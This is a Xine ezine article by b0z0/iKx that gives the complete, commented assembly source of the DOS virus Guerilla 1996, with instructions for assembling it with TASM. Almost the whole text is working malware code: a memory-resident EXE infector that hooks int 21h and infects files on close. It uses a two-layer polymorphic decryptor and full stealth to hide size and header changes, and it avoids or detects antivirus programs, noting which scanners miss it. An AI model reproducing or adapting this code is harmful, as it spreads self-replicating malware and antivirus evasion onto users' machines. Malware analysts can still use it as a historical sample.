Copy Link
Add to Bookmark
Report

xine-2.032

eZine's profile picture
Published in 
Xine
 · 31 Jul 2023

 
/-----------------------------\
| Xine - issue #2 - Phile 032 |
\-----------------------------/


;
;€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
;€€ €€
;€€ GUERILLA 1996 Disassembly €€
;€€ by b0z0/iKx €€
;€€ €€
;€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
;
; Virus Name : Guerilla 1996
; Virus Author : PH (?)
; Virus Lenght : 1996
; Virus Type : TSR EXE infector, Full stealth, Polymorphic
; Hooked Ints : 21h
; Hooked Funcs. : 09h,11h,12h,32h,3Dh,3Eh,4Bh,4Ch,4Eh,4Fh,6Ch
; Infect on : Close (3Eh)
; Payloads : None
; Compiling : Use TASM 3.0 to get the original Guerilla.1996
; TASM guerilla.asm
; TLINK guerilla
; Other compilers may not exactly reproduce the first gen.
; AV report :
; TBScan 7.06: '#' flag on all infected files
; Fprot 2.26: Detect it. (from 2.26 up)
; AVP 2.22 (updated bases): Nothing
; - The virus is (for what AVP says :) )
; found with an updated base for AVP 3.0b...
;
; For more informations (for example about the poly and infection
; method) check around the code! I prefeered to put some long comments and
; major explanations at the parts that are more interesting instead of
; writing 500 lines of intro ;-)
;


virus_lenght equ (virus_end-virus_start)
virus_lenght_para equ (((virus_lenght + 10h)/10h)+1)
virus_lenght_file equ (virus_end_file-virus_start)
first_enc_lenght equ (first_encr_end-first_encr_start+1)
second_encrypt_lenght equ (end_second_encrypt-start_second_encrypt)

;------------------------------------------------------- guerilla ----

guerilla segment byte public
assume cs:guerilla , ds:guerilla

; Virus Entry Point

virus_start:
start:
mov bp,0 ; Delta offset in BP
fill_poly_3:
mov al,5
mov ah,3
fill_poly_5:
and bx,0
nop
int 16h ; Fool Tbscan
fill_poly_6:
mov si,bp
clc ; Clear carry flag
nop
call first_layer_enc ; Decryption routine

; Everything after this line up to first_encr_end will be encrypted by
; the first encryption routine

first_encr_start:
push ds
clc ; Clear carry flag
call second_encr ; Second Decryption routine

; Everything after this line up to enc_second_encrypt will be encrypted by
; the second encryption routine

start_second_encrypt:

mov ah,30h
int 21h ; get DOS version in al

cmp al,5 ; Runs only on DOS 5 or
jae ok_dos_version ; higher
jmp resume_orig_exe
ok_dos_version:
push cs
pop ds

lea dx,[bp+dollar_char] ; DS:DX points on '$'
mov ah,9 ; Write a char
int 21h

cmp bx,3135h ; Residency check
je resume_orig_exe ; Go away if resident!

sub ax,ax
mov ds,ax ; DS=0 -> to IVT

push word ptr ds:[21h*04h] ; Push Int21h offset
push word ptr ds:[21h*04h] ; Push Int21h offset
push word ptr ds:[21h*04h+02h] ; Push Int21h segment
push word ptr ds:[21h*04h+02h] ; Push Int21h segment
pop word ptr cs:[sec_int21_segment+bp] ; Save segment
pop word ptr cs:[fir_int21_segment+bp] ; Save segment
pop word ptr cs:[sec_int21_offset+bp] ; Save offset
pop word ptr cs:[fir_int21_offset+bp] ; Save offset

xor di,di ; DI = 0
call tsr_av_check ; Look for TSR AVs
jz resume_orig_exe ; If Z then an AV is resident

mov ax,es ; ES Last memory block
dec ax ; AX on MCB
push ax
pop ds

inc di
mov al,[di-1]
cmp al,'N' ; Is the last MCB?
jl resume_orig_exe ; Less -> No, go away

mov bx,[di+2] ; Lenght of the MB
sub bx,virus_lenght_para ; Substract our lenght
jc resume_orig_exe

mov ax,[di+11h] ; DI+11h = PSP + 02h
sub ax,virus_lenght_para ; That is segment limit
mov [di+2],bx ; Put new lenght in MCB
mov [di+11h],ax ; and in the PSP

mov es,ax
sub ax,ax
mov ds,ax ; DS on IVT
cli
mov word ptr ds:[21h*04h],offset int21h_handler
mov ds:[21h*04h+02h],es ; Set our int21h handler
sti

xor di,di ; Copy to ES:DI, ES:0
push cs
pop ds
cld ; Clear direction
mov cx,virus_lenght ; Number of bytes to copy

db 8dh,0b6h,00h,00h ; LEA si,[bp+0]
rep movsb ; Copy the virus in memory

resume_orig_exe:
pop ds
push ds
pop es
mov ax,es

db 83h,0c0h,10h ; ADD ax,10h

add word ptr cs:[victim_cs+bp],ax

db 81h,0c0h ; ADD ax,_add_to_ax_
add_to_ax db 00h,00h

cli
mov sp,0 ; This will be changed in the
mov ss,ax ; infection phase to reflect the
sti ; original SS:SP

sub ax,ax ; Zero all registers
sub bx,bx
sub cx,cx
sub dx,dx
sub si,si
sub di,di
sub bp,bp

db 0EAh ; Give control to the host
victim_ip dw 0
victim_cs dw 0FFF0h



; Virus Int 21h handler
;

int21h_handler:
push si
pushf ; Push flags
xor si,si ; Zero register
function_check_loop:
cmp ah,byte ptr cs:[hooked_services + si]
jne not_interesting_fc
popf
jmp word ptr cs:[hooked_services + 1 + si]
not_interesting_fc:
add si,3 ; Look trought our table
cmp si,21h ; if the service is of our
jne function_check_loop ; interest
popf
pop si
jmp jmp_to_old_int21h ; Jump to old 21h handler

; End of virus int 21h handler


; Table with hooked services and respective jumps to it's procedure

hooked_services:
db 4bh ; AH=4Bh - EXECUTE
dw offset int_execute
db 4ch ; AH=4Ch - TERMINATE
dw offset int_execute
db 09h ; AH=09h - VIRUS CHECK
dw offset int_virus_check
db 11h ; AH=11h - FINDFIRST FCB
dw offset int_fcb_stealth
db 12h ; AH=12h - FINDNEXT FCB
dw offset int_fcb_stealth
db 4eh ; AH=4Eh - FINDFIRST DTA
dw offset int_dta_stealth
db 4fh ; AH=4Fh - FINDNEXT DTA
dw offset int_dta_stealth
db 3dh ; AH=3Dh - OPEN
dw offset int_open_stealth
db 3eh ; AH=3Eh - CLOSE
dw offset int_close_infect
db 6ch ; AH=6Ch - EXTENDED OPEN
dw offset int_open_stealth
db 32h ; AH=32h - GET DPB
dw offset int_execute
end_hooked_services:

;
; Int_Execute is called on 4Bh (EXECUTE), 32h (Get DPB), 4Ch (TERMINATE).
; If the call is a 4Bh then the virus will check if an antivirus or a
; special program from it's table is running (ex. windoze) and if this
; is true then it will totally disable stealth.
; If the call is a 4Ch then the virus will simple reenable stealth.
; If the call is a 32h (used by program such as CHKDSK) the virus will
; disable stealth to evitate strange reports to the user.
;

int_execute:
push ax
push bx
push di

mov di,(offset special_names - 1)
mov bx,di

cmp ah,32h ; Check which function
je disable_stealth
cmp ah,4ch
je enable_stealth

mov si,dx
search_dot:
cmp byte ptr [si],'.' ; Is a dot?
je name_check ; If so go to name_check
cmp byte ptr [si],0 ; End of the name?
je int_execute_exit ; Exit if so
inc si
jmp short search_dot ; Search the dot

; Check if is one of the names in our table

name_check:
dec si ; On last filename letter
inc di ; Point on the non-infectable
mov al,cs:[di] ; names table
cmp al,[si]
je name_check ; If equal continue comp.
cmp al,' ' ; finished our name?
je disable_stealth ; EQ = yes, so disable st.
add bx,8 ; Skip to next name
mov di,bx
cmp byte ptr cs:[di+1],0 ; finished table?
jne search_dot ; No, continue search
enable_stealth:
mov byte ptr cs:stealth_enabled,1
jmp short int_execute_exit
disable_stealth:
mov byte ptr cs:stealth_enabled,0
int_execute_exit:
pop di
pop bx
pop ax
pop si
jmp jmp_to_old_int21h

; When one of this programs is runned the virus will totally disable it's
; stealth features.

special_names:
db 'NACSBT ' ; TBScan
db 'NIW ' ; Windows
db 'PUTESBT ' ; TBSetup
db 'PIZKP ' ; PKZip
db 'JRA ' ; Arj
db 'RAR ' ; Rar
db 'AHL ' ; Lha
db 'FNIDA ' ; Adinf
db 0


; The Int_close_infect is the routine that will infect a file that is
; going to be closed using function 3Eh. Infection will be possible only
; if: - stealth is enabled (so no AV/compressor is running)
; - default drive is a fixed drive (to prevent big loss of time)
; - the handle is minor than 5. This is to be sure it is a file handle
; The infection routine uses SFTs for some operations. Infected files are
; longer than 5000 bytes and shorter than 383kb. Some AVs won't be infected.
; The virus will of course also save the original EXE header for future
; stealth. The original EXE header is encrypted with a 8-bit XOR with the
; value of the time of the file.
; The virus will put also a check in the EXE header that is calculated
; from the original EXE. This is done by adding 17h to the new SS and then
; by rol-ing by one. This calculated value will be used also as the random
; number from which depends the poly routine. So the decryption routine and
; the decryption values will be the same if two identical files are infected.
; This may be considered quite funny, because may fool some AV homebrewers
; that was triing to study the virus on a couple of identical goats :-)
; The poly engine isn't very complex. The decryptor has always some fixed
; instructions at the same place, so i don't think it would be too hard to
; get them. Random instructions are also put in some predefined places in
; the decryptor. The random instructions aren't generated 'on the fly' but
; rather selected from a table of suitable instructions. There are two layers
; of encryption. The first is a ROL or ROR loop, the second is ADD or SUB
; loop. It is quite interesting that the virus when encrypting the body
; to infect a file doesn't need another extra space, but will encrypt itself
; in memory and will just leave of course the decryptor, a routine that
; writes the encrypted body to the file and a call to the decryptor that
; will decrypt again the body in memory.
; In addition to try to make the life of avw more difficoult the virus
; will put on the tail of the infected host a random number of bytes. This
; random number of bytes is a derivate from the file time, so the virus
; will be able to know how much stuff did it put when it will stealth the
; virus size.
;


int_close_infect:
push ax ; Save registers
push bx
push cx
push dx
push di
push es
push ds
pushf
push cs
pop ds

cmp bl,05h ; Only handles < 05h
jnb seems_an_ok_handle ; To be sure it is a file
jmp int_close_exit
seems_an_ok_handle:
call get_default_dr ; Infect only if the curr.
jnb ok_default_dr ; default drive is > B:
jmp int_close_exit
ok_default_dr:
cmp byte ptr cs:stealth_enabled,0 ; Stealth enabled?
jne stealth_is_enabled ; Continue if it is
jmp int_close_exit
stealth_is_enabled:
call get_sft
mov ds:[sft_es],es
mov ds:[sft_di],di ; Check if it is an EXE
cmp word ptr es:[di+28h],'XE'
je seems_an_exe
jmp int_close_exit
seems_an_exe:
cmp byte ptr es:[di+2Ah],'E'
je is_an_exe ; Well, it is a .EXE
jmp int_close_exit
is_an_exe:
call check_filetime ; Check file time
jnz ok_time ; NZ -> Not our timemarker
jmp int_close_exit
ok_time:
call seek_woff ; Go to start of the file

nosmart
lea dx,exe_header_space ; Point the header buffer
smart

call read_header ; Read EXE header
jnc read_header_passed ; Jump if no errors
jmp int_close_exit
read_header_passed:
cmp word ptr [si+18h],40h ; Is a WinExe?
jne no_winexe
jmp int_close_exit
no_winexe:
mov ah,[si] ; First header byte
xor ah,4Dh ; 'M'. MZ exe check
jz first_byte_exe ; Zero if is 'M'
jmp int_close_exit
first_byte_exe:
mov ax,[si+12h] ; On checksum is our
ror ax,1 ; infection check.

db 83h,0e8h,17h ; SUB ax,17h

cmp ax,[si+0Eh] ; Infection check in header
jne not_equal_check ; NE -> Not infected
jmp int_close_exit ; If infected go away
not_equal_check:
mov ax,4202h ; Go to end of file
xor cx,cx
cwd ; DX:CX = 0
call do_orig_int21h ; do the int 21h
mov lenght_dx,dx ; Store lenght
mov lenght_ax,ax
or dx,dx ; Shorter than 64k?
jz check_ax_lenght ; If so do another check
cmp dx,5
jbe ok_dx_lenght ; Ok if shorter than 383k
jmp int_close_exit
ok_dx_lenght:
jmp short ok_axdx_lenght
check_ax_lenght:
cmp ax,5000d ; Shorter than 5000 bytes?
jae ok_axdx_lenght
jmp int_close_exit ; If shorter then go away!
ok_axdx_lenght:
mov ax,[si+4] ; Check for overlays
mov cx,200h
mul cx ; Calculate the lenght
mov cx,[si+2] ; of the EXE from the
or cx,cx ; header data
jz no_last_page_c
sub ax,200h
sbb dx,0
add ax,cx ; Add Last Page count
adc dx,0
no_last_page_c:
cmp ax,lenght_ax ; Compare header and real
je eq_ax_lenght ; lenght of the file
jmp int_close_exit ; Go away if different
eq_ax_lenght:
cmp dx,lenght_dx ; Compare header and real
je eq_dx_lenght ; lenght of the file
jmp int_close_exit ; Go away if different
eq_dx_lenght:
mov dx,es:[di+20h] ; DX=first two letters of
; the filename of the program
; being infected
nosmart
lea si,av_names ; Point to non infectables
smart

mov cx,0Dh

av_name_loop:
lodsw ; Get next AV
cmp ax,dx ; Compare two letters
jne no_current_av ; Not equal go to next AV
jmp int_close_exit ; Equal exit infection
no_current_av:
loop av_name_loop ; Loop trought all AVs

push ds
pop es

nosmart ; Point on IP
lea si,(exe_header_space + 14h)
lea di,victim_ip ; Space for old IP
smart

movsw ; Save original CS and IP
movsw
sub si,0Ah ; Point on original SS

nosmart
lea di,add_to_ax
smart

movsw ; Save SS
inc di ; Point to "mov sp,0"
inc di
movsw ; Save SP
sub si,12h ; SI = 0
push si

nosmart
lea di,head_buffer
smart

cld ; Copy EXE header to our
mov cx,18h ; head_buffer
rep movsb
pop si


mov ax,5700h ; Get file's Date and Time
call do_orig_int21h ; Call int 21h
mov file_time,cx ; Store Date and Time
mov file_date,dx

call encrypt_header ; Encrypt EXE header

mov es,sft_es ; ES:DI -> SFT entry
mov di,sft_di

mov ax,lenght_ax
mov dx,lenght_dx
mov es:[di+15h],ax ; Put new position in the
mov es:[di+17h],dx ; SFT entry

mov cx,10h
div cx ; Calculate new CS:IP
inc si ; for the infected file
sub ax,[si+7]
sbb dx,0

mov [si+15h],ax ; Put new CS:IP in the
mov [si+13h],dx ; EXE header

mov word ptr ds:[1],dx ; Put new "delta offset"
; in the first line of
; code for future
inc ax
mov [si+0Dh],ax ; Put new SS

db 83h,0c0h,17h ; ADD ax,17h

rol ax,1 ; Calculate marker
mov [si+11h],ax ; Put marker

mov inf_marker,ax ; Get random number from
and al,0Fh ; our infection marker
or al,al ; Zero?
jnz no_al_increment
inc al ; At least 1 for rotating
no_al_increment:
mov byte ptr ds:[first_rand],al ; Store random
mov byte ptr ds:[second_rand],al ; bytes. In
mov ch,10h ; first_rand_beta
sub ch,al ; will be stored
mov byte ptr ds:[first_rand_beta],ch; the opposite

test al,1 ; Decide if ROR or ROL
jnz do_the_ror
mov byte ptr rotate_oper,0C0h ; Put ROL
mov byte ptr reg8ch1,5 ; And use AL
mov byte ptr reg8ch2,5
jmp short proceed_enc
do_the_ror:
mov byte ptr rotate_oper,0CCh ; Put ROR
mov byte ptr reg8ch1,25h ; And use AH
mov byte ptr reg8ch2,25h
proceed_enc:
mov word ptr [si+0Fh],0 ; put new SP = 0

db 81h,44h,09h,7dh,00h ; ADD word ptr [si+9],7Dh
; Add 7Dh to MinAlloc


; The code after this line changes the decryptor using some predefinited
; opcodes stored in a table. The various src_fill_* are the labels for
; the source bytes from which will be selected some to change the decryptor.
; The fill_poly_* are the places where foo instructions will be put.
; So DI will carry various places to fill with garbage instructions and
; SI will point on suitable instructions for that place. copy_poly_b will
; fill some place at DI with some random stuff from SI (or near SI).
;

push si
push di
push bx
mov bx,3

nosmart
lea si,enc_table_start
lea di,fill_poly_1
smart
call copy_poly_b

nosmart
lea di,fill_poly_2
smart
call copy_poly_b

nosmart
lea si,src_fill_3
lea di,fill_poly_3
smart
call copy_poly_b

nosmart
lea si,src_fill_4
lea di,fill_poly_4
smart
call copy_poly_b

nosmart
lea si,src_fill_5
lea di,fill_poly_5
smart
call copy_poly_b

nosmart
lea si,src_fill_6
lea di,fill_poly_6
smart
call copy_poly_b

nosmart
lea si,src_fill_7
lea di,fill_poly_7
smart
call copy_poly_b

nosmart
lea si,src_fill_8
lea di,fill_poly_8
smart
call copy_poly_b

nosmart
lea si,src_fill_9
lea di,fill_poly_9
smart
call copy_poly_b

mov bx,2

nosmart
lea si,src_fill_10
lea di,fill_poly_10
smart
call copy_poly_b

nosmart
lea si,src_fill_11
lea di,fill_poly_11
smart
call copy_poly_b

nosmart
lea si,src_fill_12
lea di,fill_poly_12
smart
call copy_poly_b

; End of decryptor modification

pop bx
pop di
pop si

call modify_time
add cx,virus_lenght_file ; CX = bytes to write
mov ah,40h ; Will write
push si
push di
push es
call enc_dec_copy ; Encrypt ourselves, write
pop es ; to a file and also of
pop di ; course decrypt
pop si

mov ax,lenght_ax ; Calculate new EXE file
mov dx,lenght_dx ; lenght
add ax,virus_lenght_file
adc dx,0
mov cx,200h
div cx
or dx,dx
jz no_page_fix
inc ax
no_page_fix:
mov [si+1],dx ; Put new lenght in the
mov [si+3],ax ; EXE header
call seek_woff ; Go at start!

nosmart
lea dx,exe_header_space
smart

call write_header ; Write new header

mov ax,5701h
mov cx,file_time ; Restore file_time
and cx,0FFE0h ; Put marker for stealth
or cx,5
mov dx,file_date ; and file_date
call do_orig_int21h

int_close_exit:
popf ; Pop flags
pop ds
pop es
pop di
pop dx
pop cx
pop bx
pop ax
pop si
jmp jmp_to_old_int21h


; Check if the virus is already in memory. This is checked at function
; 09h (Write a string) when the string to write is only a '$'.
;

int_virus_check:
pop si
push di
mov di,dx
cmp byte ptr [di],'$'
pop di
je residency_call
jmp jmp_to_old_int21h
residency_call:
mov bx,3135h
iret ; Interrupt return


; Int_dta_stealth is the routine that manages the stealth on Findfirst
; and Findnext (4Eh/4Fh) functions.
;

int_dta_stealth:
call do_orig_int21h
jc exit_dta_stealth ; Jump if Error

cmp byte ptr cs:stealth_enabled,0
je exit_dta_stealth ; Jump if stealth disabled

push es
push cx
push bx
push ax
push di

mov ah,2Fh ; Get DTA
call do_orig_int21h

xchg di,bx
mov si,di
add di,16h ; Point DI to FileTime
add si,1Ah ; Point SI to FileSize

call mask_time ; Check if it is infected
; and stealth size if it is
pop di
pop ax
pop bx
pop cx
pop es
clc ; Clear carry flag

exit_dta_stealth:
pop si
retf 2 ; Return far


; Int_fcb_stealth manages stealth on 11h/12h
;

int_fcb_stealth:
call do_orig_int21h
or al,al ; Was 11h/12h successful?
jnz exit_11_12 ; If no go away

cmp byte ptr cs:stealth_enabled,0 ; Stealth enabled?
je exit_11_12 ; No, go away

push es
push cx
push bx
push ax
push di

mov ah,2Fh ; Get DTA
call do_orig_int21h

xchg di,bx
mov bl,es:[di]
xor bl,0FFh ; Extended FCB?
jnz no_ext_fcb ; No, no add
add di,7 ; Yea, add 7
no_ext_fcb:
mov si,di
add di,17h ; Point DI on FileTime
add si,1Dh ; Point SI on FileSize
call mask_time ; Check if infected and
pop di ; stealth size if it is
pop ax
pop bx
pop cx
pop es
exit_11_12:
pop si
iret ; Interrupt return

; mask_time will be called by both 11h/12h and 4Eh/4Fh stealth routines.
; It assumes that es:[di] points on file time and es:[si] on filesize.
; It will check the timestamp and, if the file will seem infected, will
; hide the size. The foo bytes at the tail of the host are calculated
; in the same way as before in the infection stage.
;

mask_time proc near
mov ax,es:[di] ; File time in AX
mov bx,ax ; File time in BX

db 83h,0e0h,1fh ; AND ax,1fh
db 83h,0f0h,05h ; XOR ax,05h

jnz it_isnt_infected
mov cl,5 ; Get amount of garbage
shr bx,cl ; from the File Time
and bx,3Fh
cmp word ptr es:[si+2],0 ; Smaller than 64k ?
jne substract_lenght ; No, so no second check
cmp word ptr es:[si],1388h
jb it_isnt_infected ; We don't infect files
; smaller than 5000 bytes
substract_lenght:
add bx,virus_lenght_file
sub es:[si],bx ; Hide virus lenght
sbb word ptr es:[si+2],0
it_isnt_infected:
retn
mask_time endp

; int_open_stealth is the stealth routine on OPEN (3Dh and 6Ch for extended
; open). The virus will reput the original header and delete the virus
; body at the end of the host.
;

int_open_stealth:
pop si
push ax
push bx
push cx
push dx ; Save regs
push si
push di
push ds
push es
pushf
cmp ah,6Ch ; Extended open?
jne normal_open ; No, normal
mov dx,si ; Yea, so put right register
normal_open:
call get_default_dr
jnc dfl_dr_ok ; Jump if drive > B:
jmp int_open_end
dfl_dr_ok:
cmp byte ptr cs:stealth_enabled,0
jne ste_enabled ; Jump if not stealthing
jmp int_open_end
ste_enabled:
mov ax,3D00h ; Open file in RO mode
call do_orig_int21h
jnc ok_opening ; Continue if no errors
jmp int_open_end
ok_opening:
xchg bx,ax ; File handle in BX
push cs
pop ds

call get_sft

cmp word ptr es:[di+28h],'XE' ; Is an exe?
jne int_open_end_wc ; If not leave

call check_filetime ; Our timestamp?
jnz int_open_end_wc ; If not leave

mov ax,es:[di+11h] ; Get file size
mov dx,es:[di+13h]

mov lenght_ax,ax ; Store file size
mov lenght_dx,dx

call modify_time ; Here the virus gets
; from the time how many
add cx,1Ch ; foo bytes have been put
; Add also 1Ch so we will
; point to the encrypted
; original EXE header
sub ax,cx ; Substract the foo bytes
; and the offset of the
; encrypted EXE header
sbb dx,0 ; from the filesize
mov es:[di+15h],ax ; Put current offset in file
mov es:[di+17h],dx ; to our encrypted original
; EXE header
nosmart
lea dx,head_buffer
smart

call read_header ; Read encrypted EXE header
jc int_open_end_wc ; Exit on error
call encrypt_header ; Decrypt the EXE header
cmp byte ptr [si],'M' ; Seems ok?
jne int_open_end_wc ; If not exit
call seek_woff ; Go to file start
call write_header ; Write the orignal header
jc int_open_end_wc ; Exit on error
mov ax,lenght_ax ; Get file lenght
mov dx,lenght_dx
call modify_time ; Calculate foo bytes in CX
add cx,virus_lenght_file ; Add virus lenght
sub ax,cx ; Substract virus size from
sbb dx,0 ; file lenght
mov es:[di+15h],ax ; DO IT!
mov es:[di+17h],dx
mov ah,40h ; Write to file
xor cx,cx ; CX=0, truncate file
call do_orig_int21h ; Go
mov ax,5701h ; Set file time/date
mov cx,file_time ; Get original time/date
mov dx,file_date
call do_orig_int21h ; Set original time/date
int_open_end_wc:
mov ah,3Eh ; Close file
call do_orig_int21h
int_open_end:
popf ; Pop flags
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax

jmp_to_old_int21h:
db 0EAh
fir_int21_offset dw 00h
fir_int21_segment dw 00h

; tsr_av_check walks trought the memory control blocks and check if there
; is an AV active in memory.
;

tsr_av_check proc near
push es
push ds
mov ah,52h ; Get List of the Lists
call do_orig_int21h
push word ptr es:[bx-2] ; Push segment of the first
pop ds ; MCB
mcb_checking:
cmp byte ptr [di],'M' ; Isn't last block?
je examine_mem ; It isn't, so jump
cmp byte ptr [di],'Z' ; Is last block?
jne exit_av_mem_check ; No, jump away
examine_mem:
lea si,[bp+av_mem_names] ; Point on TSR AV table
mov cx,3 ; 3 TSR AV in our table

mem_check_loop:
mov ax,[di+8] ; Get program name
cmp ax,cs:[si] ; It is equal than our AV?
jne continue_next_av
mov al,cs:[si+2] ; Check the third char
cmp al,[di+0Ah]
je exit_av_mem_check ; There is an AV in mem!
cmp al,'*' ; Wildcard in our table?
je exit_av_mem_check ; So assume AV present!
continue_next_av:
add si,3
loop mem_check_loop ; Loop if cx > 0

mov ax,ds
add ax,[di+3] ; Add Memory Block size
inc ax ; On the next MCB
mov ds,ax ; Examine it!
jmp short mcb_checking

exit_av_mem_check:
pop ds
pop es
retn
tsr_av_check endp


get_sft proc near
push bx
mov ax,1220h ; Get JFT entry
int 2Fh
; ES:DI -> JFT entry
; for file handle in
; current process
xor bx,bx
mov bl,es:[di] ; BL = SFT entry number
mov ax,1216h ; Get address of SFT
int 2Fh

mov word ptr es:[di+2],2 ; Set RW mode to file
pop bx
retn
get_sft endp


get_default_dr proc near
mov ah,19h ; Get current default
call do_orig_int21h ; drive
cmp al,2 ; Compare with C:
retn
get_default_dr endp


; timestamp check/creation
;

check_filetime proc near
mov ax,es:[di+0Dh] ; Filetime
db 83h,0e0h,1fh ; AND ax,1fh
db 83h,0f0h,05h ; XOR ax,05h
retn
check_filetime endp

; Reads 1Ch bytes from the current file to DS:DX and sets SI=DX
;

read_header proc near
mov ah,3Fh ; Read from file
mov cx,1Ch ; 1Ch bytes
call do_orig_int21h ; do the Int 21h
mov si,dx
retn
read_header endp

; Writes 18h bytes to file from DS:DX
;

write_header proc near
mov ah,40h ; Write to file
mov cx,18h ; 18h bytes
call do_orig_int21h ; Call original int 21h
retn
write_header endp


; calculate the number of foo bytes to write at the tail of the file
; the routine is very simple

modify_time proc near
mov cx,es:[di+0Dh] ; FileTime
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
shr cx,1 ; Shift w/zeros fill
and cx,3Fh
retn
modify_time endp


encrypt_header proc near
push di
mov ah,byte ptr file_time ; Use time as key

nosmart
lea di,head_buffer ; Point on EXE header
smart

mov cx,18h

enc_head_loop:
mov al,[di]
xor al,ah ; Encrypt the EXE header
mov [di],al ; using a 8bit XOR
inc di
loop enc_head_loop

pop di
retn
encrypt_header endp


; Put current offset in file to 0:0, that means to the start of the
; file. ES:DI of course on the SFT entry.
;

seek_woff proc near
mov word ptr es:[di+15h],0
mov word ptr es:[di+17h],0
retn
seek_woff endp


; copies 4 random bytes from the table pointed by CS:[SI+random] to the
; space for filling at CS:[DI]. The random offset in the table is calculated
; from the infection marker and is minor than BX
;

copy_poly_b proc near
push es
push ds
push ax
push cx
push bx
push si
push di
push cs
pop ds
push cs
pop es
mov ax,inf_marker
xor ax,di
num_select:
shr ax,1
mov cx,ax
and cx,3
cmp cx,bx ; Minor than max?
jge num_select ; No, retry.

mov ax,cx
mov cx,4
mul cl
add si,ax ; Point to the selected
mov cx,5 ; bytes
jmp short start_copy_loop ; Go and copy the bytes

db 0EAh

copy_loop:
mov al,byte ptr cs:[si]
mov byte ptr cs:[di],al
inc di
inc si
start_copy_loop:
loop copy_loop

pop di
pop si
pop bx
pop cx
pop ax
pop ds
pop es
retn
copy_poly_b endp

; Table with operations that will be put in the decryptor
;

enc_table_start:
clc
clc
clc
nop
or ax,ax
nop
nop
db 83h,0c8h,00h ; OR ax,0
nop
src_fill_6:
push bp
pop si
clc
clc
mov si,bp
or ax,ax
mov si,bp
or dx,dx
src_fill_10:
nop
nop
jc $+4
jnc $+4
jmp short $+4
src_fill_9:
nop
add di,si
nop
clc
adc di,si
clc
nop
clc
add di,si
src_fill_4:
inc di
dec di
inc di
nop
dec di
inc di
nop
inc di
add di,1
nop
src_fill_12:
nop
nop
db 66h, 4Ah ; DEC edx
db 66h, 83h,0EAh, 01h ; SUB edx,01h
src_fill_7:
db 66h, 0Bh,0D2h ; OR edx,edx
nop
db 66h, 23h,0D2h ; AND edx,edx
nop
db 66h, 83h,0FAh, 00h ; CMP edx,00h
src_fill_5:
sub bx,bx
sub bx,bx
mov bx,0
nop
nop
and bx,0
src_fill_3:
mov ah,3
mov al,5
mov cx,305h
xchg cx,ax
mov al,5
mov ah,3
src_fill_11:
jz $+4 ; Jump if zero
jmp short $-16h
jnz $-14h ; Jump if not zero
nop
nop
src_fill_8:
mov ax,offset first_encr_start
xchg di,ax
mov di,offset first_encr_start
nop
nop
mov di,offset first_encr_start
and ax,2090h

end_poly_generation_tables: ; end of table used by the poly

virus_string db ' Guerilla 1996 PH '

dollar_char db '$'

stealth_enabled db 01h

av_mem_names db 'TB*','NAV','NEM'
av_names db 'TB','VI','AV','NA','NE','VS','FI'
db 'F-','IM','FV','SC','QB','IV'

end_second_encrypt:


; Second encryption/decryption loop
;

second_encr proc near
db 0b0h ; mov al,
second_rand db 00h ; random number
jc change_to_add ; If carry change to ADD

mov byte ptr cs:[operation_byte+si],2Ah ; SUB
jmp short encrypt_work
change_to_add:
mov byte ptr cs:[operation_byte+si],02h ; ADD

encrypt_work:
mov di,offset start_second_encrypt
add di,si
mov cx,second_encrypt_lenght ; Lenght
jmp short begin_oper_loop

db 0EAh ; Just to fool someone

oper_loop:
mov ah,byte ptr cs:[di]

operation_byte db 02h ; "ADD ah" or "SUB ah"
db 0e0h ; with al

mov byte ptr cs:[di],ah
inc di
begin_oper_loop:
loop oper_loop
retn
second_encr endp


; enc_dec_copy will encrypt the body of the virus in memory (with both
; layers), then will write the encrypted body to the file (with also
; some foo bytes) and finally will decrypt the body of the virus in memory
;

enc_dec_copy proc near
push ax ; AH = 40h
push cx ; CX = Bytes to write
xor si,si ; Zero register
stc ; Set carry flag
call second_encr ; Second encryption
stc ; Set carry flag
call first_layer_enc ; First encryption
first_encr_end:
pop cx ; Bytes to write
pop ax ; AH = 40h
call do_orig_int21h ; Write the body of the virus
fill_poly_1:
nop
nop
nop
nop
call first_layer_enc ; Decrypt our body
fill_poly_2:
nop
nop
nop
nop
call second_encr ; Second decryption
retn
enc_dec_copy endp


; First (heh, the one that is first seen by the user ;) ) encryption loop
;

first_layer_enc proc near

db 0b1h ; mov cl,
first_rand db 00h ; random value
fill_poly_10:
nop
nop
nop
nop

db 0b1h ; mov cl,
first_rand_beta db 00h ; random value

; One of the two "mov cl," will be used for encryption the other for
; decryption (depending on what will be generated in fill_poly_10.
; Infact when encrypting we call this with Carry set, but then depends
; if we generated a JNC or a JC with the engine). Of course this means
; that first_rand_beta = 10h - first_rand
;

fill_poly_8:
mov di,offset first_encr_start
nop
fill_poly_9:
add di,si
nop
nop

db 66h,0BAh ; mov edx,(lenght to encr)
dw first_enc_lenght
dw 00h

jmp short fill_poly_12

db 0EAh ; just to fool someone

db 2Eh, 8Ah ; mov xx,cs:[di]
reg8ch1 db 25h ; AL or AH

db 0D2h ; ROx ah,cl
rotate_oper db 0CCh ; ROL or ROR

db 2Eh, 88h ; mov cs:[di],xx
reg8ch2 db 25h ; AL or AH

fill_poly_4:
db 47h ; inc di
nop
nop
nop

fill_poly_12:
db 66h,4Ah ; dec edx
nop
nop

fill_poly_7:
db 66h,83h,0FAh,00h ; cmp edx,00h

fill_poly_11:
db 75h,0EAh ; JNE dec_loopy

nop
nop
ret
first_layer_enc endp

; Generates a call to the original INT21h
;

do_orig_int21h proc near
pushf ; Push flags
db 9Ah ; CALL far ptr
sec_int21_offset dw 00h
sec_int21_segment dw 00h
retn
do_orig_int21h endp

; where the encrypted EXE header will be stored
;

head_buffer db 18h dup (0)

file_time dw 0
file_date dw 0

virus_end_file:

; Place for storing ES:DI where the SFT is located

sft_es dw 00h
sft_di dw 00h

lenght_dx dw 0
lenght_ax dw 0
inf_marker dw 0
exe_header_space db 1ch dup (0)

virus_end:

guerilla ends

end start

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
